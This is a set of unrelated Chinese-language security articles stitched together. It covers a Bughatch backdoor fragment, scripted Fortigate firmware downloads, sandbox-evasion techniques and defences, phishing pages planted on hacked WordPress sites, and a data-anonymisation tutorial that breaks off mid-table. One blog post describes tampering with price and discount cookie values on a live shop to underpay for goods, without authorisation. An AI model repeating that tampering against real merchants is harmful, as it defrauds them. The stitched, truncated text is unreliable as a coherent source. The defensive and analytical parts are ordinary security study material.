通過查看C2服務器,研究人員發現除了Bughatch之外,這些模塊還擴展了惡意軟件的功能。其中一個從受感染的系統收集信息,並以HTTPPOST請求的形式將其發送回服務器。

16.jpeg

在cubaC2服務器上找到的文件

攻擊者可以將Bughatch視為某種後門,部署在進程內存中,並在Windows API(VirtualAlloc、CreateThread、WaitForSingleObject)的幫助下,在分配的空間內執行shellcode,然後連接到C2並等待進一步的指令。特別是,C2可以發送命令下載進一步的惡意軟件,例如Cobalt Strike Beacon、Metasploit或進一步的Bughatch模塊。

17.png

Bughatch運行流程圖

0x00 前言在之前的文章介紹了Fortigate識別與版本探測的方法,在提取出頁面特徵後,可根據特徵對應到具體版本。為了找到特徵與具體版本的對應關係,這里首要解決的問題是下載固件。

本文將要介紹通過程序實現自動下載固件的方法,分享腳本開發細節。

0x01 簡介本文將要介紹以下內容:

實現原理

實現細節

開源代碼

0x02 實現原理通過Burp Suite分析下載固件的數據格式,進而編寫程序實現自動下載

1.用戶認證使用Cookie作為憑據,格式示例:

微信截图_20230609173002.png

2.下載流程訪問固件下載頁面,如下圖

下载.png

點擊固件對應的HTTPS即可下載固件

通過Burp Suite分析數據包內容,具體流程如下:

訪問頁面https://support.fortinet.com/Download/FirmwareImages.aspx,發送的數據包如下圖

下载 (1).png

其中,ctl04作為變量,不同固件對應的值不同

返回結果實例如下圖

下载 (2).png

返回結果中為實際的下載文件地址

0x03 實現細節這里以7.2.4的下載為例,在程序實現上需要額外考慮以下細節:

1.文件下載對於返回結果需要作簡單的處理,解析後並下載的代碼實例:

微信截图_20230609173629.png

2.需要獲得文件名與下載鏈接的對應關係實際上為文件名同變量ctl的對應關係

訪問上級頁面,抓包如下圖

下载 (3).png

返回結果如下圖

下载 (4).png

從頁面中能夠獲得文件名同變量ctl的對應關係

這裡使用正則匹配,格式化輸出的代碼實例:

11.png

注:

在使用print函數時,\r指定回到行起始位置,flush=True表示刷新輸出

3.加入下載進度條為了便於掌握下載進度,需要加入下載的進度條

參考代碼:https://www.cnblogs.com/Old-Kang/articles/15271067.html

實例代碼:

12.png輸出實例:

微信截图_20230609174024.png

4.下載判斷當下載很多文件時,如果網絡中斷,需要從中斷處的文件名重新下載

這裡加入指定下載位置作為用戶輸入,實例代碼:

13.png

0x04 小結本文介紹了通過程序下載Fortigate固件的方法,後續可對特徵進行提取。

沙盒是一種行之有效的檢測惡意軟件並阻止其執行的方法。然而,惡意行為者正在尋找方法來教他們的惡意軟件在沙箱中保持不活動狀態。逃避沙箱的惡意軟件可以繞過保護並執行惡意代碼,而不會被現代網絡安全解決方案檢測到。

在本文中,我們分析了惡意軟件用來避免沙箱分析的技術,並分享了我們在Apriorit 中使用的最佳實踐來構建可以檢測和阻止規避惡意軟件的沙箱。

本文對於致力於網絡安全解決方案並希望改進沙箱的開發人員來說非常有用。

什麼是沙箱和沙箱規避惡意軟件?在我們討論逃避沙箱的惡意軟件之前,讓我們先弄清楚什麼是沙箱。 NIST將沙箱定義為“允許不受信任的應用程序在高度受控的環境中運行的系統,其中應用程序的權限僅限於一組基本的計算機權限。”

沙盒解決方案可以是獨立工具,也可以是網絡安全軟件(例如防火牆或防病毒程序)的一部分。通過將潛在危險的程序放入不會造成任何損害的受控虛擬化環境中,安全軟件可以分析可疑代碼的行為並製定針對其的保護措施。

image.png

儘管沙盒技術被認為是有效的,但網絡犯罪分子現在正在應用讓惡意軟件逃避沙盒分析的技術。

逃避沙箱的惡意軟件可以識別它是否位於沙箱或虛擬機環境中。此類惡意軟件感染在脫離受控環境之前不會執行其惡意代碼。為了隱藏威脅,惡意軟件可以使用反沙箱技術,例如:

加密

環境掃描儀

用戶活動監控

人工智能(AI) 算法

ETC。

我們將在本文後面討論規避技術。現在,讓我們看幾個逃避沙箱的惡意軟件的示例,以了解此類威脅的嚴重性和可能的後果。

逃避沙箱的惡意軟件的真實示例沙箱規避是一種極其常見的攻擊技術,由具有規避能力的惡意軟件引發的網絡安全事故也經常成為新聞報導。

例如,2023 年發現的信息竊取惡意軟件Beep使用17 種規避技術來不被受害者的網絡安全系統檢測到。該惡意軟件可以混淆和反混淆惡意代碼、檢測其是否被跟踪、關閉調試器、隱藏其API 函數等等。在發現時,Beep 仍處於開發階段,因此該惡意軟件現在可能具有更多的沙箱規避功能。

另一種最近發現的惡意軟件Batloader也具有很多反沙箱功能。它可以停止安全軟件服務,避免防病毒解決方案的活動,並將自身偽裝成合法文件。

大多數逃避沙箱的惡意軟件並沒有登上新聞或成為著名網絡安全研究的焦點,僅僅是因為惡意軟件的類型太多。惡意行為者可以使用Python、自動代碼生成和人工智能算法等流行技術來快速開發具有規避功能的惡意軟件。甚至可以說服ChatGPT為您編寫規避惡意軟件。

有數十種沙箱規避技術可以嵌入惡意軟件中。讓我們仔細看看這些技術如何從網絡安全解決方案中隱藏惡意軟件。

最常見的沙箱規避技術MITRE ATTCK 是著名的網絡安全攻擊知識庫,定義了三種關鍵的惡意軟件沙箱規避技術。讓我們看看它們是如何工作的:

image.png

1. 系統檢查逃避沙箱的惡意軟件可以被編程來識別真實係統的一些在沙箱或虛擬環境中不可用的功能。

image.png

以下是惡意軟件如何利用系統信息逃離沙箱:

CPU 核心數量和硬件組件。惡意軟件可以發現虛擬系統和物理系統之間的差異(例如CPU 核心數量),並將其用於沙箱檢測。這就是為什麼許多沙箱供應商隱藏其實際配置,使黑客無法檢測沙箱規格。

數字系統簽名。某些惡意軟件旨在查找系統的數字簽名,其中包含有關計算機配置的信息。

已安裝的程序。該技術允許惡意軟件通過查找操作系統中的活動進程來檢查防病毒程序是否存在。

操作系統重新啟動。有些沙箱無法在操作系統重新啟動後繼續存在,因此可以將惡意軟件編程為僅在重新啟動後激活。儘管虛擬環境可能會嘗試通過登錄和註銷用戶來模擬重新啟動,但惡意軟件可以檢測到這一點,因為並非所有重新啟動觸發器都會執行。

系統工件。虛擬機在其內存、進程和文件中包含特定的工件。惡意軟件可以查找虛擬機(VM) 指令以及與I/O 端口的通信等工件,以檢測其是否在沙箱內啟動。

2. 基於用戶活動的檢查用戶以不同的方式與計算機交互,但在沙箱環境中不存在類似人類的交互。因此,黑客可以教惡意軟件等待特定的用戶操作,然後才表現出惡意行為。以下是依賴用戶操作的沙箱檢測技術的一些示例:

image.png

滾動文檔。現代惡意軟件可以被編程為僅在用戶到達文檔中的特定位置後才執行。 Microsoft Word 文檔中編寫的惡意軟件可能包含用於檢測滾動的特殊段落代碼。沙箱環境不包含任何滾動運動,允許惡意軟件保持休眠狀態。

移動並單擊鼠標。某些惡意軟件經過編程,可以檢查鼠標移動和點擊的速度,如果速度快得可疑、沒有檢測到足夠的鼠標點擊或用戶沒有採取特定操作,則保持不活動狀態。

擁有瀏覽器歷史記錄、緩存和書籤。每天上網的真實用戶會將其歷史記錄和緩存保存在他們的計算機上。沙箱不會有這些,因為它會定期清理瀏覽緩存以刪除潛在的惡意軟件並確保沙箱的正確操作。惡意軟件可以檢查系統是否具有此類信息,如果沒有找到任何信息,則處於休眠狀態。

將文件保存到特定目錄。惡意軟件可以檢查系統是否允許將自定義文件保存到桌面和根文件夾。不建議將文件保存在這些目錄中,因此沙箱不會這樣做。但儘管系統建議,大多數實際用戶仍將文件保存到桌面和根目錄。

3.基於時間的逃避在某些情況下,惡意軟件使用基於計時的技術來逃避沙箱。沙箱通常會在有限的時間內分析惡意軟件,而基於計時的技術很樂意濫用此功能。

以下是三種常見的基於時間的沙箱檢測方法:

image.png

延長睡眠時間。當惡意軟件使用延長睡眠時,它可以在執行之前成功離開沙箱。

邏輯炸彈。在某些情況下,惡意軟件可以被編程為在特定日期和特定時間執行。

停止代碼。惡意軟件可能包含執行無用CPU 週期的代碼,以延遲惡意代碼的執行,直到沙箱完成測試。

額外的沙箱規避機制在開發惡意軟件時,惡意行為者會嘗試實施盡可能多的規避技術和機制,以確保其代碼的成功。以下是他們用來增強上述技術的關鍵附加機制:

加密和混淆。加密的惡意軟件通常包含解密循環和主體。解密循環對包含惡意代碼的主體進行加密和解密。

IP 地址和DNS 名稱的更改。此機制可幫助惡意軟件隱藏網絡釣魚和惡意軟件傳遞地址。它允許惡意軟件繞過安全解決方案創建的網站黑名單。

隱寫術和多語言。這些類型的惡意軟件將惡意代碼隱藏在代碼的被動部分(例如圖像)中。可以將代碼放置在圖像的元數據和圖像本身中。這種規避方法對於基於瀏覽器的攻擊特別有用。

寡態、多態、變質。惡意軟件可以篡改其解密器,使沙箱更難檢測到惡意代碼。例如,它可以為每種感染和代碼類型創建新的解密器(寡態性),為每個新解密器稍微修改惡意代碼(多態性),或者根據沙箱的屬性使用突變引擎修改惡意代碼(變態性) 。

數據包碎片。安全解決方案通常等待整個流量數據包到達,然後對其進行分析。惡意軟件可以利用此數據包分段協議並僅將惡意代碼作為數據包的一部分發送。

各種各樣的沙箱規避技術和機制使得在安全環境中包含惡意軟件成為一項棘手的任務。在Apriorit,我們可以根據解決方案的性質通過多種方式解決這一挑戰。讓我們看一下我們用來確保惡意軟件遏制的一些最佳實踐。

開發可靠沙箱的最佳實踐我們描述的規避技術可以幫助開發人員更深入地了解沙箱中的惡意軟件檢測。這就是為什麼我們Apriorit 在開髮沙箱時結合了各種網絡安全檢查和防禦措施。以下是您可以在安全解決方案中實施的一些原則,以保護其免受沙箱規避惡意軟件的侵害:

image.png

1. 模擬真實環境與真實用戶的真實環境相比,虛擬機的運行方式有所不同。現代惡意軟件可以識別差異,例如不頻繁的重新啟動和特定於虛擬機的指令,以及檢測虛假的鼠標點擊和移動。檢索沙箱中的硬件信息將幫助您檢測惡意軟件,該惡意軟件會檢查硬盤大小、最近的文件、CPU 核心數量、操作系統版本、內存容量以及其他系統和硬件特徵。

您還可以配置沙箱以動態更改睡眠持續時間和惡意軟件分析的周期。雖然沙箱通常會分析惡意軟件幾秒鐘,但長時間的分析會隨著睡眠持續時間的增加而顯著增加檢測到惡意軟件的機會。請注意,這種惡意軟件檢測方法需要大量時間。

2、靜動態結合分析沙盒技術是動態代碼分析的一種形式,因為它檢查安全環境中的惡意軟件行為。知道這一點後,許多惡意軟件開發人員嘗試通過將代碼置於睡眠狀態或使其採取盡可能少的操作來逃避動態分析。

要檢測此類惡意軟件,請將靜態代碼分析添加到您的沙箱中。靜態分析檢查潛在惡意軟件是否存在規避技術或加密代碼片段,而不考慮文件活動。此方法對於檢測具有延遲執行腳本的惡意軟件非常有效。但是,您不能僅僅依靠靜態分析來阻止惡意軟件。

3. 實施人工智能人工智能算法可以提高沙箱的準確性,並在執行之前檢測到更多威脅。與傳統的基於規則的網絡安全機制相比,人工智能可以學習檢測零日威脅,適應新的規避技術,並根據其早期行為識別惡意軟件。

您可以添加專注於網絡安全的AI 算法:

模擬真實用戶行為,使惡意軟件認為它位於沙箱之外

分析潛在惡意文件的行為

增強靜態和動態分析

4. 分析文件簽名基於簽名的檢測分析進入系統的每個軟件的獨特數字足跡或簽名。每個防病毒解決方案都有一個已知惡意軟件簽名的內置數據庫。如果新軟件的簽名與該數據庫中的記錄匹配,沙箱會自動刪除或隔離該軟件。

然而,簽名檢查無法阻止動態變化的惡意軟件。為了檢測此類威脅,請考慮實施循環冗餘校驗的計算。校驗和有助於驗證正在分析的文件自進入系統以來沒有發生更改。

5、採用內容解除和重構技術內容解除和重建(CDR) 是一種網絡安全技術,可從文件中刪除任何可疑代碼。為了確定代碼是否可疑,CDR 使用系統策略和定義。這項技術通常被認為是沙箱的對立面,但它可以作為其他安全解決方案的附加技術。

CDR 從文件中刪除所有活動內容,並向用戶提供經過清理的文檔。它允許您立即阻止隱藏在文檔中的惡意軟件,但存在損壞包含腳本(例如用JavaScript 編寫的Office 宏)的文件的風險,即使它們不是惡意的。

6.讓時間過得更快延遲惡意代碼的執行是惡意軟件的基本規避策略之一。沙箱不是全天候(24/7)活動的,因此即使是最簡單的惡意軟件也可以通過讓自己休眠幾個小時來逃避安全檢查。因此,當沙箱處於活動狀態時,它可能會將惡意文件誤認為是安全文件。

檢測逃逸惡意軟件的一種方法是在沙箱激活時更改虛擬機的時間配置。這樣,您就能夠誘騙惡意軟件喚醒並執行其惡意代碼。另一種選擇是讓虛擬機內的時間過得更快,並簡單地等待惡意軟件的休眠期結束。

7. 在單獨的環境中部署沙箱即使是最安全的沙箱也可能在某些時候崩潰並讓惡意軟件進入您的環境。為了防止這種情況發生,請將沙箱部署在與主沙箱不同的環境中。例如,您可以使用雲部署、訪問受限的遠程端點或其他虛擬機。

結論逃避沙箱的惡意軟件旨在逃避基於沙箱技術的保護程序的檢測。這意味著傳統的惡意軟件檢測方法無法有效對抗此類惡意軟件。要開發可以檢測和阻止惡意軟件的沙箱,您需要結合各種網絡安全技術、方法和工具。

abstract-code-1200x600.jpeg

發起網絡釣魚的攻擊者希望他們設計的虛假釣魚頁面盡可能花費最少的成本來產生盡可能多的收入,所以他們會傾向使用各種工具和技術來逃避檢測,以節省時間和成本,比如使用網絡釣魚工具包或Telegram木馬的自動化。另一種深受釣魚者歡迎的策略是攻擊網站並在其中註入惡意內容,而不是註冊新域名。除了在他們攻擊的網站中植入釣魚頁面外,攻擊者還可以竊取服務器上的所有數據,並完全攻擊網站的運行。

哪些網站最容易被攻擊者攻擊缺乏維護的網站經常會被攻擊者利用,缺乏維護和安全修復意味著它們很容易被已知的漏洞所攻擊。此外,在一個長期被忽視的網站上,網絡釣魚頁面可以停留很長一段時間,因為沒有人監控發布的內容,這正是詐騙者所尋找的。

但是,這並不意味著攻擊者不會攻擊經常維護的網站。那些訪問量很小的小型網站也會經常受到攻擊威脅。他們的所有者可能沒有能力在信息安全上花費足夠的資金或僱傭安全專業人員,他們可能不熟悉安全設置,或者他們可能相信他們的網站太小,攻擊者不會感興趣。然而,對於網絡釣魚者來說,網站是否可以被攻擊比其受歡迎程度更重要,因為詐騙頁面的鏈接很可能通過電子郵件或即時通訊平台發送。因此,即使是較小的網站也是被攻擊的目標。

根據W3Techs(一個網絡技術調查網站,提供關於互聯網不同技術的運用信息)的數據,互聯網上43.1%的網站是由WordPress內容管理系統提供支持的。有大量的第三方插件被設計用來擴展這個流行平台的功能。攻擊者經常會在插件和WordPress本身中發現新的漏洞。本文的其餘部分將處理由WordPress提供支持的攻擊者網站上的網絡釣魚頁面。

破解WordPress網站大多數時候,攻擊者通過利用安全漏洞攻擊WordPress網站。攻擊成功後,攻擊者會上傳一個WSOwebshell ,並使用它來訪問網站控制面板,從而繞過身份驗證。這將向所有人打開控制面板權限,允許任何人進行任何更改。在2023年5月,安全研究人員發現了超過350個可以開放訪問控制面板的獨特域名。也就是說,實際數量要比350高得多,因為一個受攻擊的控制面板可能不會一直被公眾訪問。

1.png

被攻擊網站的控制面板

還有一種情況是,攻擊者可能通過強制使用弱密碼或使用洩露的憑證來劫持網站管理員的帳戶。在這種情況下,他們不需要任何額外的軟件來訪問控制面板。他們所要做的就是登錄被攻擊的賬戶,然後開始發布虛假頁面。

有時,攻擊者在發佈網絡釣魚頁面時會保留網站的主要功能,這樣訪問者永遠不會意識到這個網站被攻擊客攻擊了,攻擊者則將他們的惡意內容隱藏在無法從主網站菜單訪問的新目錄中。

2.png

被攻擊網站的主頁

然而,大多數被攻擊的網站都攻擊了主頁上其他部分的鏈接,因為攻擊者刪除了原始目錄,取而代之的是網絡釣魚內容。

3.png

攻擊者網站上的釣魚頁面

如果訪問者在虛假頁面上輸入數據,如網站憑證、包括CVV在內的銀行卡詳細信息或其他個人信息,這些數據將存儲在控制面板中。如果網站也植入了web shell,則任何人都可以訪問其內容,那麼受害者的數據對任何人都是可見的。

4.png

用戶數據被盜的頁面

攻擊者可能會在暗網上出售竊取的數據,或者利用這些數據從受害者的銀行賬戶中盜取資金。此外,他們可能會利用他們收集的信息,使他們未來的騙局看起來更可信。

WordPress網站被攻擊的痕蹟有幾個相當明顯的痕跡可能表明,你正在查看一個託管在受感染網站上的網絡釣魚頁面。頁面URL包含“/wp-Config/”、“/wp-content/”、“/wp-admin/”、“/wp-includes/”等文件夾,目標目錄包含一個PHP文件。以.php為擴展名的網頁可以在合法網站上看到,但如果與上述目錄名結合使用,則肯定是網絡釣魚的標誌。

5.png

網絡釣魚頁面:URL顯示/wp-content/,頁面名稱為login.php

主頁上的內容顯然與網絡釣魚頁面無關。下面顯示的一個關於目標設備的中文網站包含一個目錄,裡面有一個針對法國銀行客戶的網絡釣魚頁面。

6.png

被攻擊的中文網站主頁

7.png

在同一網站的新目錄中有法語釣魚頁面

URL包含攻擊者試圖模仿的服務的正確(或修改過的)名稱,但該名稱與網站本身的名稱無關。

8.png

放置在“Netflix”目錄中並模仿Netflix登錄表單的網絡釣魚頁面

被攻擊WordPress網站的統計數據卡巴斯基實驗室已將被攻擊者攻擊網站的典型特徵添加到其網絡威脅檢測規則中,這樣就能夠識別和阻止這種類型的網絡釣魚。接下來所介紹的內容包含使用該新功能檢測到的網站的統計信息。

從2023年5月15日到7月31日,研究人員發現了22400個被攻擊者攻擊的WordPress網站,這些網站被用來創建網絡釣魚頁面。這一數字既包括在檢測時對控制面板開放訪問的受攻擊網站,也包括未經身份驗證的用戶無法訪問控制面板的受攻擊網站。

9.png

2023年5月15日至7月31日檢測到的被攻擊WordPress網站的數量

在同一時期,用戶共嘗試訪問受感染網站上的虛假頁面200 213次。

10.png

2023年5月15日至7月31日,試圖訪問被攻擊的WordPress網站上的釣魚頁面的次數

Netflix、銀行和流行的快遞網站經常成為被攻擊的對象。

總結經驗豐富的攻擊者通過攻擊合法網站,在其中設置網絡釣魚頁面來達到持久攻擊的目的。長期被忽視和維護的網站都可能成為攻擊目標。特別是,攻擊者傾向於攻擊一些小型網站。

由WordPress提供支持的網站通常存在漏洞,允許詐騙者使用特殊腳本輕鬆訪問控制面板並發布惡意內容。另外,攻擊者還可以暴力破解管理員的憑證或使用被盜的密碼。網站管理員應該使用強大的、唯一的密碼和多因素認證來保護他們的賬戶不被劫持,定期更新服務器軟件,並停用不使用的插件。

雖然攻擊者努力在偽造熱門網站,但用戶也可以在被攻擊的網站上識別出網絡釣魚的痕跡。特別要注意以下幾點:

马云惹不起马云URL中出現的WordPress目錄的默認名稱;

马云惹不起马云出現在其中一個目錄名稱中的仿冒名稱;

马云惹不起马云 與網站其他部分無關的頁面內容;

某天挖 edu 挖到自闭,然后想着 fofa 一下,看看有没有什么好玩的站点

图片

好家伙,居然还真有这种商城,原谅我孤陋寡闻了。于是乎,想进去学习了一下

图片


首先,进行了一下初步的信息收集

图片

基本上都是伪静态的,没有什么发现可以明显判断其网站后端语言的地方在搜索框点击搜索后


可以发现这个地址并不能帮助我们判断该站的类型但也要尝试一下SQL注入

图片


然后直接被 Ban IP了,索性放弃对这个地方的继续研究,继续翻找其他功能点。当我们点击订单查询时


图片


可以发现Url 产生了变化

图片

跳转到了登录注册页面,既然来都来了,注册一个看看有没有其他业务,黑不走空,哈哈哈

图片

昵称处尝试打 Xss,发现也会被 Ban IP,那就先放一下,找找有没有什么业务逻辑漏洞吧。尝试购买一些商品,之前一直听说支付漏洞,但弟弟从没有真正遇到过,碰碰运气吧


图片


点击购买,抓包发现 cookie 中出现了一个奇怪的参数

图片

我们拿去urldecode 一下,看看是什么东西

图片

那就猜测一下,可以看到前面应该是价格,后面是购买的个数,我们先改一下

图片


编码回去,覆盖发包

图片

因为在 cookie 里,所以传过去的每个数据中的 cookie 都要改

图片

可以发现,我们的单价变为了 1,数量为 10,总额变为了 10,记录一下参数之间对应的关系


提交订单,修改cookie内的值,然后继续,页面跳转到了支付宝付款页面

图片


点开支付宝,发现价格的确发生改变


图片

没错,75元的商品,只需要17元即可支付,但是商家发不发货就不晓得了


意外惊喜


图片然后,我有发现有个参数之前没测试,那就试一下吧

user_zheko,应该就是折扣的意思,那我修改一下,验证一下

已知 100 是无折扣,那我改成 0 呢?发现无法弹出地址的那栏

图片




改成 1 后,果然享受了一折优惠,哈哈哈哈

图片

可以发现,只用支付 14 元了,享受 1 折优惠继续缴费操作,然后还有7元邮费<万恶的商家居然不包邮>,然后支付21元,即可把增*器带回家,想想就刺激呢!


图片


文末总结:


1、挖洞还是就一句话,心细则挖天下!

2、面对逻辑漏洞,一定要注意每个页面交互跳转时的参数,尽可能的去猜测传的每一个参数的作用是什么。Burp看不方便的话 F12 也可以看到,看自己喜好和习惯了。一定要细心去测,不要放过一些细小的点,说不定就会有惊喜

3、订单查询都没发现可以越权,没想到支付点居然是前端可控的,嘿嘿嘿


转自于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486060&idx=1&sn=a4b977e9e3bbfe7b2c9ec479942e615c&chksm=ce67a0f5f91029e30c854eb2f71173efe925a38294fd39017708abcf4deea5c2b25dee518ebf&scene=21#wechat_redirect


前言近年來,隨著數據挖掘,機器學習等技術的發展與深入,企業從普通用戶處收集到的大量的數據就變得越來越有價值,對這些數據進行分析處理可以更好的了解用戶的習慣和喜好,從而向用戶提供更加個性化的服務,最終使得用戶對商業以及研究的價值最大化。但是在使用包含有大量個人敏感信息的數據的過程中,不管是直接發布或者內部分析都可能使得不法分子收集到用戶的隱私,損害用戶的相關權益,因此有必要對輸出的數據進行匿名化處理。

在個保法和GDPR/CCPA中,對匿名化(anonymization)的定義是相似的。 匿名化是指個人信息經過處理後,無論是否借助其他信息或工具都無法識別特定自然人且不能複原的過程。

一、匿名化常用技術手段1、屬性抑制马云惹不起马云 屬性抑制是指刪除數據集中某個屬性的全部數據(刪除某個列),該技術一般應用在匿名化過程開始時。

马云惹不起马云 某些情況下,可以使用派生屬性來提高數據集的可用性,例如抑制“工作開始時間”和“工作結束時間”,但是可以創建“工作年限”屬性

處理前

姓名公司工作開始時間工作結束時間張三abc2015.92018.3李四tbc2016.92022.4王五bcd2013.92021.10孫六jbc2011.92023.10處理後,“姓名”抑制,派生“工作年限”

公司工作年限(年)abc3tbc6bcd8jbc12data=DataAnonymizationUtil.dropColumns(String.columns,data);data=DataAnonymizationUtil.createColumns(String.columns,data);2、記錄抑制马云惹不起马云 記錄抑制是指刪除數據集中的整條記錄,刪除唯一或不滿足標準(例如k‑匿名)的異常記錄。

马云惹不起马云 刪除記錄可能會影響數據集,比如可能會影響統計數據種的平均數,中位數等。

處理前:

姓名公司工作開始時間工作結束時間張三abc2015.92018.3李四abc2016.92019.4王五abc2017.92020.10孫六abc2011.92023.10姓名屬性抑制,以及時間派生屬性後

公司工作年限(年)abc3abc3abc3abc12從上面可以看出,孫六的12年和其他人員的工作年限比起來會特別的大,如果其他的一些信息,可能會猜出第四行為孫六,因此應該將第四行刪除

第四行記錄抑制(刪除)後

公司工作年限(年)abc3abc3abc3data=DataAnonymizationUtil.deleteRows(int[]rowNumber,data);3、數據脫敏(字符屏蔽)马云惹不起马云 數據脫敏是數據字符的更改,例如通過符號*或x等對源數據進行替換修改,一般為部分脫敏,即應用與屬性中的一些字符,主要應用於當隱藏屬性的部分就滿足所需的匿名程度時。

马云惹不起马云 脫敏需要考慮屏蔽掉的字符是否反應原數據的相關信息。提前知道數據內本身的規則屏蔽尤其重要,以確保屏蔽到正確的字符。比如數據中的校驗位(比如身份證的校驗位),如果脫敏不徹底,校驗位可能用於恢復脫敏數據。

處理前

工號層級工作年限123461132472142383脫敏後

工號層級工作年限1***611***721***83data=DataAnonymizationUtil.maskColumn(String.columns,data);4、假名化马云惹不起马云 用虛構的值替換識別數據。假名化也稱為編碼。假名可以是不可逆的,也可以是可逆(由原始數據的所有者),匿名化要求,需要採用不可逆假名。

马云惹不起马云 持久化假名允許通過使用相同的化名來表示不同數據集中的同一個屬性以進行關聯。在某些情況下也需要使用不同的假名來表示不同數據集中的同一個人,以防止數據被關聯。

處理前

姓名績效評分工作年限張三601李四702王五803處理後

姓名績效評分工作年限abc601123702xyz803data=DataAnonymizationUtil.pseudColumn(String.columns,data);5、泛化(一般化)马云惹不起马云 泛化降低了數據的精度。例如,將人的年齡轉換為年齡範圍,或將精確位置轉換為不太精確的位置。對於可以泛化並且對結果預期有用的屬性,可以設計適當的規則進行泛化處理。

马云惹不起马云 設計具有適當大小的數據范圍。數據范圍太大可能意味著數據可能被修改得太多,數據的價值會降低;而數據范圍太小可能意味著數據幾乎沒有被修改,容易被重新識別,不滿足要求。請注意,第一個和最後一個範圍可以是更大的範圍,以容納這些末端通常較少的記錄;

處理前

姓名年齡薪資張三2525734李四3543527王五3037524孫六2834257處理後

姓名年齡薪資張*20-3020000-30000李*30-4040000-50000王*30-4030000-40000孫*20-3030000-40000data=DataAnonymizationUtil.generalizeColumn(String.columns,data);6、數據交換马云惹不起马云 交換的目的是重新排列數據集中的數據,使得各個屬性值仍然在數據集中表示,但通常與原始記錄不對應。

马云惹不起马云 適用於分析只看聚合數據的情況,或者分析是在屬性內分析時;換句話說,不需要分析記錄級別的屬性之間的關係。

處理前

姓名年齡薪資張三2525734李四3543527王五3037524孫六2834257處理後

姓名年齡薪資張*2825734李*3037524王*3543527孫*2534257data=DataAnonymizationUtil.swapRows(int[]rows,data);7、數據擾動马云惹不起马云 原始數據集中的值被修改為略有不同即為數據擾動,對於準標識符(通常是數字和日期),與其他數據源結合時可能會被識別,並且值的輕微變化是可以接受的。該技術不應在數據準確性要求較高的情況下使用

马云惹不起马云 擾動程度應與屬性值的範圍成比例,比例太小,不滿足匿名化要求;比例太大,最終值將與原始值相差太大,擾動後數據集的可用性可能會嚴重降低。

處理前

姓名年齡薪資張三2525734李四3543527王五3037524孫六2834257處理後

姓名年齡薪資張*2724257李*3343527王*2837524孫*3035734data=DataAnonymizationUtil.perturbeColumn(String.columns,data);8、數據合成马云惹不起马云 它直接與原始數據分開,重新生成符合模式的數據集,而不是修改原始數據集,通常是當系統測試需要大量數據,但不能提供真實數據且要求提供的數據在某些方面應該是符合模式的,如格式、屬性之間的關係等。

马云惹不起马云 數據在合成時需要研究原始數據集中的模式,並在創建“匿名”數據集(即合成數據)時應用這些模式。根據測試範圍和要求,可以生成全部或部分合成數據;例如,在進行測試時,需要引用其他數據集,那麼正在測試的少數數據需要保持其原始形式,但其他信息可以是合成的。

马云惹不起马云 應用此技術時,可能需要額外注意異常值。出於測試目的,異常值通常非常有價值,因此在合成數據時需要特別注意異常值的合成。

處理前

姓名年齡薪資張三2525734李四3543527王五3037524孫六2834257處理後

姓名年齡薪資a*2734257c*3这里是文章图片7d*2827524b*3045734data=DataAnonymizationUtil.synthesis(data);9、數據聚合马云惹不起马云 將數據集從記錄列表轉換為匯總值即為數據聚合,主要應用於不需要單獨記錄,而僅僅需要聚合數據的場景。

马云惹不起马云 請注意執行聚合後記錄太少的組。在某些情況下聚合數據的單個記錄,加入額外知識可能會輕鬆推斷原數據。

處理前

姓名年齡薪資張三2525734李四3543527王五3037524孫六2834257處理後

年齡段平均薪資20-303000030-4040000data=DataAnonymizationUtil.aggregate(data);二、匿名化步驟匿名化技術在提升數據隱私保護力度的同時,會犧牲數據的可用性,所以在設計和執行匿名化方案時可以遵循如下步驟

1、理解數據研究原始數據,區分其中不同類型的數據字段(直接標識符,準標識符,普通字段屬性),方便後續使用不同的處理方式,作為數據最小化的一部分,應首先刪除結果數據集中不需要的任何數據屬性。

图片30.png

2、應用匿名化技術篩選出需要匿名化的字段,結合數據使用場景和需求,組合使用不同的匿名化技術。

图片31.png

3、評估重標識風險對匿名化結果進行重標識風險分析,如果評估得出重標識風險超過預期,需要回步驟二深度應用或者重新選擇匿名化方案。重標識(re-identification)指的是對匿名化的數據重新關聯到原始個人信息主體的一種數據處理方式,它是匿名化的一個逆向操作。以下為常見的重標識風險

1)識別符洩露指的是處理過程中對識別符字段的匿名化程度不夠,導致對手可以直接獲取到信息主體的直接/間接識別符。例如:手機號碼直接計算哈希值,對手通過哈希碰撞方式,可以獲得數據集中的全部或部分明文手機號碼。

2)屬性洩露對手雖然無法從發布的數據集中獲得信息主體的識別信息,但可以確定該主體某個屬性的屬性值

住址性別年齡是否有糖尿病荷花小區男20-30歲無荷花小區女20-30歲有荷花小區男90-100歲無如上例,可以知曉荷花小區有一位年齡大於90歲的老人,並且能確定該老人有糖尿病。該數據集雖然沒暴露個人識別信息(不知道該老人是誰),但還是暴露了該自然人病史信息。

3)推理信息洩露通過數據集中反映的規律來推斷用戶的某項屬性,比如脫敏後數據集顯示荷花小區50-60歲有30人,其中20人近視為100度到500度,10人近視為500度到1000度,則如果知道自然人是居住在荷花小區後,且年齡是50-60歲之間,就可以知道此人肯定是近視患者。

4、管理匿名數據發布風險基於風險評估結果,結合其他技術措施和管理措施來應對已識別風險。

1)可用技術措施马云惹不起马云 對發布數據集進行嚴格的權限訪問控制,限制可訪問數據集用戶的範圍,並定期對訪問權限進行檢查;

马云惹不起马云 對包含高度敏感信息的數據集,匿名化處理後再次進行加密;

2)可用管理措施马云惹不起马云 記錄已共享數據集,防止不同數據集通過組合暴露個人隱私;

马云惹不起马云 通過審批流程控制匿名化後的數據集訪問的使用;

马云惹不起马云 禁止組織內部成員對匿名化數據集未經批准進行重識別;

马云惹不起马云 定期檢查數據的重標識風險;

马云惹不起马云 定期清理組織內部不再使用的匿名數據集;

四、K匿名化技術1、K-匿名K-匿名模型(k-anonymity)是一種用於評估匿名化/去特徵化後數據的信息安全的模型。它要求處理後的數據集中每個準識別符至少有K條相同的記錄,增加從數據集中直接篩選出記錄並進行關聯攻擊的難度。

K-匿名的概念是由Latanya Sweeney和Pierangela Samarati在1998年的一篇論文中最先提出的,其目的是為了解決如下問題:“給定一組結構化的具體到個人的數據,能否得出一組經過處理的數據,使我們可以證明數據中涉及的個人不能被再識別,同時還要保證數據仍具有使用價值。”使一組數據滿足k-anonymity的過程稱為K-匿名。比如下面這個例子中,每個準識別符住址,性別,年齡至少有2個相同的記錄。

處理前

